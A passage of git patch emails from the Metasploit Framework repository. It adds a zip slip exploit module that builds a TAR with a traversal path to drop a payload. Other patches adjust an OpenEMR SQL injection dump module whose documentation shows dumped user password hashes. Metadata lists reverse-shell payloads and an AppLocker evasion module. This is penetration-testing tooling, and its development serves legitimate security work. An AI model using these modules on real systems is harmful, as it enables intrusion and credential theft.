the embedded payload being written to an arbitrary location (such as a web root), and result in remote code execution. + +## Vulnerable Application + +Since this is a generic module, it does not target a specific application. However, what it targets is potentially unsafe TAR extraction libraries, so if you happen to notice that, then you can consider using this. + +For example, let's say you have a Python library that has code that can extract a TAR file like this: + +```python +import tarfile +t = tarfile.open('example.tar') +t.extractall() +``` + +The above will extract a TAR file, but the `extractall` function does not have any protection (especially against directory traversal attacks), so it's dangerous. + +An example that is safe from the attack is the `tar` command, for example: + +``` +$ tar -xf msf.tar +../payload.bin: Path contains '..' +tar: Error exit delayed from previous errors. +``` + +## Verification Steps + +1. Save the above Python script +2. Generate the malicious TAR file +3. Run Python on the TAR file: + +```python +import tarfile +t = tarfile.open('example.tar') +t.extractall() +``` From 2cd8125a4077c5d1810f13ca88c47321a3ac0a19 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Mon, 9 Sep 2019 12:00:53 -0500 Subject: [PATCH 186/217] Add zip skip --- modules/exploits/multi/fileformat/zip_slip.rb | 112 ++++++++++++++++++ 1 file changed, 112 insertions(+) create mode 100644 modules/exploits/multi/fileformat/zip_slip.rb diff --git a/modules/exploits/multi/fileformat/zip_slip.rb b/modules/exploits/multi/fileformat/zip_slip.rb new file mode 100644 index 0000000000..6b3c281f89 --- /dev/null +++ b/modules/exploits/multi/fileformat/zip_slip.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/zip' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "Generic Zip Slip Traversal Vulnerability", + 'Description' => %q{ + This is a generic arbitrary file overwrite technique, which typically results in remote + command execution. This targets a simple yet widespread vulnerability that has been + seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc. + The idea is that often archive extraction libraries have no mitigations against + directory traversal attacks. If an application uses it, there is a risk when opening an + archive that is maliciously modified, and result in the embedded payload to be written + to an arbitrary location (such as a web root), and result in remote code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Snyk', # Technique discovery + 'sinn3r' # Metasploit + ], + 'References' => + [ + ['URL', 'https://snyk.io/research/zip-slip-vulnerability'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'DisablePayloadHandler' => true + }, + 'Platform' => ['linux', 'win', 'unix'], + 'Targets' => + [ + ['Manually determined', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jun 05 2018" + )) + + register_options([ + OptString.new('FILENAME', [true, 'The tar file (tar)', 'msf.tar']), + OptString.new('TARGETPAYLOADPATH', [true, 'The targeted path for payload', '../payload.bin']) + ]) + end + + class ZipSlipArchive + attr_reader :data + attr_reader :fname + attr_reader :payload + + def initialize(n, p) + @fname = n + @payload = p + @data = make + end + + def make + data = '' + path = Rex::FileUtils.normalize_unix_path(fname) + tar = StringIO.new + Rex::Tar::Writer.new(tar) do |t| + t.add_file(path, 0644) do |f| + f.write(payload) + end + end + tar.seek(0) + data = tar.read + tar.close + data + end + end + + def make_tar(target_payload_path) + elf = generate_payload_exe(code: payload.encoded) + archive = ZipSlipArchive.new(target_payload_path, generate_payload_exe) + archive.make + end + + def exploit + target_payload_path = datastore['TARGETPAYLOADPATH'] + unless target_payload_path.match(/\.\.\//) + print_error('Please set a traversal path') + return + end + + tar = make_tar(target_payload_path) + file_create(tar) + print_status('When extracted, the payload is expected to extract the payload to') + print_status(target_payload_path) + end +end + +=begin +A quick test: + +$ python +>>> import tarfile +>>> t = tarfile.open('test.tar') +>>> t.extractall() +>>> exit() + +=end From d874f1899d0648bcdbfd9053e95358686afcbfb5 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 9 Sep 2019 22:52:54 -0500 Subject: [PATCH 187/217] update lock for unpinned gem --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index 2a8b5d2bc6..79bec9c11e 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -59,7 +59,7 @@ PATH rex-random_identifier rex-registry rex-rop_builder - rex-socket (= 0.1.17) + rex-socket rex-sslscan rex-struct2 rex-text From f24c689d84b5e3d6ada5b51c874322a7023a19d2 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 9 Sep 2019 23:02:26 -0500 Subject: [PATCH 188/217] fix compatibility with --chown flag with COPY --- Dockerfile | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Dockerfile b/Dockerfile index 39537cc08d..6945a1639d 100644 --- a/Dockerfile +++ b/Dockerfile @@ -51,8 +51,10 @@ RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresq RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby) RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap) -COPY --chown=root:metasploit --from=builder /usr/local/bundle /usr/local/bundle -COPY --chown=root:metasploit . $APP_HOME/ +COPY --from=builder /usr/local/bundle /usr/local/bundle +RUN chown -R root:metasploit /usr/local/bundle +COPY . $APP_HOME/ +RUN chown -R root:metasploit $APP_HOME/ RUN chmod 664 $APP_HOME/Gemfile.lock RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml From e66179a0e77f08111009812316b3eb95495e277c Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 10 Sep 2019 11:24:33 -0500 Subject: [PATCH 189/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 3307eb95bb..bd5a8f5ad4 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -149214,7 +149214,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-10-22 18:20:45 +0000", + "mod_time": "2019-09-03 18:25:26 +0000", "path": "/modules/payloads/singles/php/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "php/meterpreter_reverse_tcp", @@ -152495,7 +152495,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-02-11 18:56:50 +0000", + "mod_time": "2019-09-03 18:25:26 +0000", "path": "/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb", "is_install_path": true, "ref_name": "windows/meterpreter_bind_named_pipe", @@ -152530,7 +152530,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-11-21 13:53:33 +0000", + "mod_time": "2019-09-03 18:25:26 +0000", "path": "/modules/payloads/singles/windows/meterpreter_bind_tcp.rb", "is_install_path": true, "ref_name": "windows/meterpreter_bind_tcp", @@ -152565,7 +152565,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-11-21 13:53:33 +0000", + "mod_time": "2019-09-03 18:25:26 +0000", "path": "/modules/payloads/singles/windows/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "windows/meterpreter_reverse_http", @@ -152600,7 +152600,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-11-21 13:53:33 +0000", + "mod_time": "2019-09-03 18:25:26 +0000", "path": "/modules/payloads/singles/windows/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "windows/meterpreter_reverse_https", @@ -152635,7 +152635,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-11-21 13:53:33 +0000", + "mod_time": "2019-09-03 18:25:26 +0000", "path": "/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/meterpreter_reverse_ipv6_tcp", @@ -152670,7 +152670,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-11-21 13:53:33 +0000", + "mod_time": "2019-09-03 18:25:26 +0000", "path": "/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/meterpreter_reverse_tcp", From f1f9597222501292672e73d53d0499c680c91e00 Mon Sep 17 00:00:00 2001 From: Will Porter Date: Tue, 10 Sep 2019 12:27:22 -0400 Subject: [PATCH 190/217] Update modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb Use `normalize_uri` to construct the vulnerable URI. Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com> --- modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb index 78869602c7..962095db29 100644 --- a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb +++ b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb @@ -86,7 +86,7 @@ class MetasploitModule < Msf::Auxiliary # for this application. response = send_request_cgi( 'method' => 'GET', - 'uri' => normalize_uri(path), + 'uri' => normalize_uri(uri, 'interface', 'forms', 'eye_mag', 'taskman.php'), 'vars_get' => { 'action' => 'make_task', 'from_id' => '1', From 3fc0467484fb4e8c1011e01bd6e9a7f12d561458 Mon Sep 17 00:00:00 2001 From: Will Porter Date: Tue, 10 Sep 2019 12:27:48 -0400 Subject: [PATCH 191/217] Update modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb Remove unused path variable. Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com> --- modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb index 962095db29..53b88cee7d 100644 --- a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb +++ b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb @@ -80,7 +80,6 @@ class MetasploitModule < Msf::Auxiliary end def get_response(payload) - path = "#{uri}/interface/forms/eye_mag/taskman.php" # This is only going to work for spaces. Ideally we could use URI.encode # but that is deprecated and CGI.escape uses + which doesn't work # for this application. From 832d2e4300097c7d8e6a14978880ad08524830cc Mon Sep 17 00:00:00 2001 From: William Porter Date: Tue, 10 Sep 2019 12:29:55 -0400 Subject: [PATCH 192/217] Remove unneccesary comment. --- modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb index 53b88cee7d..5767ea1469 100644 --- a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb +++ b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb @@ -80,9 +80,6 @@ class MetasploitModule < Msf::Auxiliary end def get_response(payload) - # This is only going to work for spaces. Ideally we could use URI.encode - # but that is deprecated and CGI.escape uses + which doesn't work - # for this application. response = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(uri, 'interface', 'forms', 'eye_mag', 'taskman.php'), From 8fe1f9d172e5d9bb4c0304998abf1a36b043d7f9 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Tue, 10 Sep 2019 12:12:46 -0500 Subject: [PATCH 193/217] Rephrase --- modules/exploits/multi/fileformat/zip_slip.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/fileformat/zip_slip.rb b/modules/exploits/multi/fileformat/zip_slip.rb index 6b3c281f89..a24a03d087 100644 --- a/modules/exploits/multi/fileformat/zip_slip.rb +++ b/modules/exploits/multi/fileformat/zip_slip.rb @@ -95,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Remote tar = make_tar(target_payload_path) file_create(tar) - print_status('When extracted, the payload is expected to extract the payload to') + print_status('When extracted, the payload is expected to extract to:') print_status(target_payload_path) end end From e4992c68170418de8c38f8e47439f63f4f1735de Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Tue, 10 Sep 2019 18:40:14 -0500 Subject: [PATCH 194/217] move bigdecimal fix to separate file, include for specs This fixes some noisy warnings about bignum when running specs, making it easier to see the real problems. --- config/application.rb | 1 + config/boot.rb | 14 ++------------ config/rails_bigdecimal_fix.rb | 11 +++++++++++ spec/spec_helper.rb | 2 ++ 4 files changed, 16 insertions(+), 12 deletions(-) create mode 100644 config/rails_bigdecimal_fix.rb diff --git a/config/application.rb b/config/application.rb index 4cbd4c94af..603050a1ed 100644 --- a/config/application.rb +++ b/config/application.rb @@ -1,3 +1,4 @@ +require File.expand_path('../rails_bigdecimal_fix', __FILE__) require 'rails' require File.expand_path('../boot', __FILE__) diff --git a/config/boot.rb b/config/boot.rb index a9a3bfda34..dc15c7a2a9 100644 --- a/config/boot.rb +++ b/config/boot.rb @@ -9,6 +9,8 @@ GEMFILE_EXTENSIONS = [ msfenv_real_pathname = Pathname.new(__FILE__).realpath root = msfenv_real_pathname.parent.parent +require File.expand_path('../rails_bigdecimal_fix', __FILE__) + unless ENV['BUNDLE_GEMFILE'] require 'pathname' @@ -22,18 +24,6 @@ unless ENV['BUNDLE_GEMFILE'] end end -# Remove bigdecimal warning - start -# https://github.com/ruby/bigdecimal/pull/115 -# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266 -# TODO: remove when upgrading from rails 4.x -require 'bigdecimal' - -def BigDecimal.new(*args, **kwargs) - return BigDecimal(*args) if kwargs.empty? - BigDecimal(*args, **kwargs) -end -# Remove bigdecimal warning - end - begin require 'bundler/setup' rescue LoadError => e diff --git a/config/rails_bigdecimal_fix.rb b/config/rails_bigdecimal_fix.rb new file mode 100644 index 0000000000..fbe0465fd7 --- /dev/null +++ b/config/rails_bigdecimal_fix.rb @@ -0,0 +1,11 @@ +# Remove bigdecimal warning - start +# https://github.com/ruby/bigdecimal/pull/115 +# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266 +# TODO: remove when upgrading from rails 4.x +require 'bigdecimal' + +def BigDecimal.new(*args, **kwargs) + return BigDecimal(*args) if kwargs.empty? + BigDecimal(*args, **kwargs) +end +# Remove bigdecimal warning - end diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index 54f56ec1d2..a6eb7812f6 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -4,6 +4,8 @@ require 'factory_bot' ENV['RAILS_ENV'] = 'test' +require File.expand_path('../../config/rails_bigdecimal_fix', __FILE__) + # @note must be before loading config/environment because railtie needs to be loaded before # `Metasploit::Framework::Application.initialize!` is called. # From 7a8eb76a12019d43b54c1a7a7055f179e2a292ff Mon Sep 17 00:00:00 2001 From: William Porter Date: Tue, 10 Sep 2019 21:14:15 -0400 Subject: [PATCH 195/217] Use the same gsub pattern to create the ltype as is used by store_loot to sanitize characters. --- modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb index 5767ea1469..a2568bb462 100644 --- a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb +++ b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb @@ -200,9 +200,12 @@ class MetasploitModule < Msf::Auxiliary end def save_csv(data, table) - safe_table = table.gsub(/[^0-9a-z]/i, '') + # Use the same gsub pattern as store_loot + # this will put the first 8 safe characters of the tablename + # in the filename in the loot directory + safe_table = table.gsub(/[^a-z0-9\.\_]+/i, '') store_loot( - "openemr.db.#{safe_table}.dump", + "openemr.#{safe_table}.dump", 'application/CSV', rhost, csv_string(data), From 262e574fe2b175a27515cf18fb0e92df2dceebe3 Mon Sep 17 00:00:00 2001 From: William Porter Date: Tue, 10 Sep 2019 21:32:03 -0400 Subject: [PATCH 196/217] Add the .csv extension to the loot file. --- modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb index a2568bb462..d4a8e277e5 100644 --- a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb +++ b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb @@ -209,7 +209,7 @@ class MetasploitModule < Msf::Auxiliary 'application/CSV', rhost, csv_string(data), - table + "{}.csv".format(safe_table) ) end From 11021e3bc1af8c55add2c14158124499992a5dc5 Mon Sep 17 00:00:00 2001 From: William Porter Date: Tue, 10 Sep 2019 21:53:06 -0400 Subject: [PATCH 197/217] Update the documentation to reflect recent changes. --- .../sqli/openemr/openemr_sqli_dump.md | 20 +++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md b/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md index db88caf3fa..ca588e158c 100644 --- a/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md +++ b/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md @@ -75,8 +75,24 @@ msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run [*] Auxiliary module execution completed msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > exit -root@localhost:/tmp# cd /root/.msf4/loot -root@localhost:~/.msf4/loot# cat 20190904164551_default_127.0.0.1_openemr.db.users_659759.bin +root@localhost:/# cd /root/.msf4/loot +root@localhost:~/.msf4/loot# ls -l + +-rw-rw-r-- 1 root root 207 Sep 11 01:33 20190911013307_default_127.0.0.1_openemr.ALL_PLUG_118002.bin +-rw-rw-r-- 1 root root 42 Sep 11 01:33 20190911013308_default_127.0.0.1_openemr.APPLICAB_752726.bin +-rw-rw-r-- 1 root root 59 Sep 11 01:33 20190911013309_default_127.0.0.1_openemr.CHARACTE_047422.bin +-rw-rw-r-- 1 root root 77 Sep 11 01:33 20190911013309_default_127.0.0.1_openemr.CHECK_CO_374587.bin +-rw-rw-r-- 1 root root 68 Sep 11 01:33 20190911013310_default_127.0.0.1_openemr.COLLATIO_513047.bin + +... + +-rw-rw-r-- 1 root root 37 Sep 11 01:47 20190911014756_default_127.0.0.1_openemr.syndromi_322156.bin +-rw-rw-r-- 1 root root 3 Sep 11 01:47 20190911014757_default_127.0.0.1_openemr.gacl_acl_006027.bin +-rw-rw-r-- 1 root root 22 Sep 11 01:47 20190911014757_default_127.0.0.1_openemr.lang_con_639806.bin +-rw-rw-r-- 1 root root 139 Sep 11 01:47 20190911014759_default_127.0.0.1_openemr.backgrou_037369.bin +-rw-rw-r-- 1 root root 5462 Sep 11 01:48 20190911014846_default_127.0.0.1_openemr.geo_coun_668990.bin + +root@localhost:~/.msf4/loot# cat 20190911014115_default_127.0.0.1_openemr.users_se_735944.bin id,username,password,salt,last_update,password_history1,salt_history1,password_history2,salt_history2 1,admin,$2a$05$bxcQWy1ZeIwV2/ScGBQlTOeUVqJo9MdvHuF1mBs4Jo7H0/bFpZoPK,$2a$05$bxcQWy1ZeIwV2/ScGBQlTZ$,2019-08-27 20:07:13,"","","","" 4,johndoemsf,$2a$05$gUWCtnsoqPBbn5zKiasyaOphgJwkA9BySy7LnK3BswyWt0RrLb0Ma,$2a$05$gUWCtnsoqPBbn5zKiasyaQ$,2019-08-29 02:01:28,"","","","" From b460dc113d9aa617463508fa9731bacccdcd51e6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Cl=C3=A9ment=20Notin?= Date: Wed, 11 Sep 2019 14:05:21 +0200 Subject: [PATCH 198/217] jboss_vulnscan & status: add CVE ref --- modules/auxiliary/scanner/http/jboss_status.rb | 1 + modules/auxiliary/scanner/http/jboss_vulnscan.rb | 7 +++++-- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/jboss_status.rb b/modules/auxiliary/scanner/http/jboss_status.rb index 4ad9e5132c..72bd30fb29 100644 --- a/modules/auxiliary/scanner/http/jboss_status.rb +++ b/modules/auxiliary/scanner/http/jboss_status.rb @@ -19,6 +19,7 @@ class MetasploitModule < Msf::Auxiliary 'References' => [ ['CVE', '2008-3273'], + ['CVE', '2010-1429'], # regression ['URL', 'https://seclists.org/fulldisclosure/2011/Sep/139'], ['URL', 'https://www.owasp.org/images/a/a9/OWASP3011_Luca.pdf'], ['URL', 'http://www.slideshare.net/chrisgates/lares-fromlowtopwned'] diff --git a/modules/auxiliary/scanner/http/jboss_vulnscan.rb b/modules/auxiliary/scanner/http/jboss_vulnscan.rb index 949690e871..2e02370b96 100644 --- a/modules/auxiliary/scanner/http/jboss_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jboss_vulnscan.rb @@ -23,8 +23,11 @@ class MetasploitModule < Msf::Auxiliary ], 'References' => [ - [ 'CVE', '2010-0738' ], # VERB auth bypass - [ 'CVE', '2017-12149' ] + [ 'CVE', '2008-3273' ], # info disclosure via unauthenticated access to "/status" + [ 'CVE', '2010-1429' ], # info disclosure via unauthenticated access to "/status" (regression) + [ 'CVE', '2010-0738' ], # VERB auth bypass on "JMX-Console": /jmx-console/ + [ 'CVE', '2010-1428' ], # VERB auth bypass on "Web Console": /web-console/ + [ 'CVE', '2017-12149' ] # deserialization: "/invoker/readonly" ], 'License' => BSD_LICENSE )) From 3483881b199263b8c16e4397d4b2337ccbb44c64 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 11 Sep 2019 10:36:39 -0500 Subject: [PATCH 199/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 36 +++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index bd5a8f5ad4..91ee073d3f 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -47983,6 +47983,42 @@ }, "needs_cleanup": false }, + "evasion_windows/applocker_evasion_workflow_compiler": { + "name": "Applocker Evasion - Microsoft Workflow Compiler", + "fullname": "evasion/windows/applocker_evasion_workflow_compiler", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "evasion", + "author": [ + "Nick Tyrer <@NickTyrer>", + "Matt Graeber" + ], + "description": "This module will assist you in evading Microsoft\n Windows Applocker and Software Restriction Policies.\n This technique utilises the Microsoft signed binaries\n Microsoft.Workflow.Compiler.exe to execute user supplied code.", + "references": [ + "URL-https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb" + ], + "platform": "Windows", + "arch": "x86, x64", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": [ + "Microsoft Windows" + ], + "mod_time": "2019-08-08 18:48:10 +0000", + "path": "/modules/evasion/windows/applocker_evasion_workflow_compiler.rb", + "is_install_path": true, + "ref_name": "windows/applocker_evasion_workflow_compiler", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": false + }, "evasion_windows/windows_defender_exe": { "name": "Microsoft Windows Defender Evasive Executable", "fullname": "evasion/windows/windows_defender_exe", From 3ed9fb038365a16ca995c306d98a7464faa7b551 Mon Sep 17 00:00:00 2001 From: Will Porter Date: Wed, 11 Sep 2019 15:39:15 +0000 Subject: [PATCH 200/217] Fix a bug caused by writing python code in a ruby file. --- modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb index d4a8e277e5..397638ff09 100644 --- a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb +++ b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb @@ -209,7 +209,7 @@ class MetasploitModule < Msf::Auxiliary 'application/CSV', rhost, csv_string(data), - "{}.csv".format(safe_table) + "#{safe_table}.csv" ) end From c2790d44f6b279a5c9741600841f1999931a5acb Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 11 Sep 2019 11:54:31 -0500 Subject: [PATCH 201/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 91ee073d3f..2fe6db1b0b 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -25597,6 +25597,7 @@ "description": "This module queries the JBoss status servlet to collect sensitive\n information, including URL paths, GET parameters and client IP addresses.\n This module has been tested against JBoss 4.0, 4.2.2 and 4.2.3.", "references": [ "CVE-2008-3273", + "CVE-2010-1429", "URL-https://seclists.org/fulldisclosure/2011/Sep/139", "URL-https://www.owasp.org/images/a/a9/OWASP3011_Luca.pdf", "URL-http://www.slideshare.net/chrisgates/lares-fromlowtopwned" @@ -25620,7 +25621,7 @@ "https" ], "targets": null, - "mod_time": "2018-09-15 18:54:45 +0000", + "mod_time": "2019-09-11 14:05:21 +0000", "path": "/modules/auxiliary/scanner/http/jboss_status.rb", "is_install_path": true, "ref_name": "scanner/http/jboss_status", @@ -25646,7 +25647,10 @@ ], "description": "This module scans a JBoss instance for a few vulnerabilities.", "references": [ + "CVE-2008-3273", + "CVE-2010-1429", "CVE-2010-0738", + "CVE-2010-1428", "CVE-2017-12149" ], "platform": "", @@ -25668,7 +25672,7 @@ "https" ], "targets": null, - "mod_time": "2019-02-13 16:10:32 +0000", + "mod_time": "2019-09-11 14:05:21 +0000", "path": "/modules/auxiliary/scanner/http/jboss_vulnscan.rb", "is_install_path": true, "ref_name": "scanner/http/jboss_vulnscan", From c088ec9ee8f35c99ebdb8f7aee4e9e5e2145d16b Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Wed, 11 Sep 2019 12:48:57 -0500 Subject: [PATCH 202/217] update code climate banners --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 849f6107cd..199fac3640 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/) +Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Maintainability](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/maintainability)](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [![Test Coverage](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/test_coverage)](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/) == The Metasploit Framework is released under a BSD-style license. See COPYING for more details. From 8bfdaf6ab71280c5ba81435437b4fb0128e9efc1 Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Wed, 11 Sep 2019 15:56:46 -0500 Subject: [PATCH 203/217] change metadata indentation --- .../sqli/openemr/openemr_sqli_dump.rb | 56 +++++++++---------- 1 file changed, 27 insertions(+), 29 deletions(-) diff --git a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb index 397638ff09..4894a2467f 100644 --- a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb +++ b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb @@ -1,7 +1,4 @@ -# frozen_string_literal: true - require 'csv' -require 'nokogiri' ## # This module requires Metasploit: https://metasploit.com/download @@ -13,32 +10,33 @@ class MetasploitModule < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'OpenEMR 5.0.1 Patch 6 SQLi Dump', - 'Description' => ' - This module exploits a SQLi vulnerability found in - OpenEMR version 5.0.1 Patch 6 and lower. The - vulnerability allows the contents of the entire - database (with exception of log and task tables) to be - extracted. - This module saves each table as a `.csv` file in your - loot directory and has been tested with - OpenEMR 5.0.1 (3). - ', - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Will Porter ' - ], - 'References' => [ - ['CVE', '2018-17179'], - ['URL', 'https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617'] - ], - 'Targets' => - [ - ['OpenEMR < 5.0.1 (6)', {}] - ], - 'DisclosureDate' => 'May 17 2019', - 'DefaultTarget' => 0)) + 'Name' => 'OpenEMR 5.0.1 Patch 6 SQLi Dump', + 'Description' => ' + This module exploits a SQLi vulnerability found in + OpenEMR version 5.0.1 Patch 6 and lower. The + vulnerability allows the contents of the entire + database (with exception of log and task tables) to be + extracted. + This module saves each table as a `.csv` file in your + loot directory and has been tested with + OpenEMR 5.0.1 (3). + ', + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Will Porter ' + ], + 'References' => [ + ['CVE', '2018-17179'], + ['URL', 'https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617'] + ], + 'Targets' => + [ + ['OpenEMR < 5.0.1 (6)', {}] + ], + 'DisclosureDate' => 'May 17 2019', + 'DefaultTarget' => 0 + )) register_options( [ From 469f848b22d73d62c214001f23b1d2f077c6348c Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 11 Sep 2019 16:06:43 -0500 Subject: [PATCH 204/217] automatic 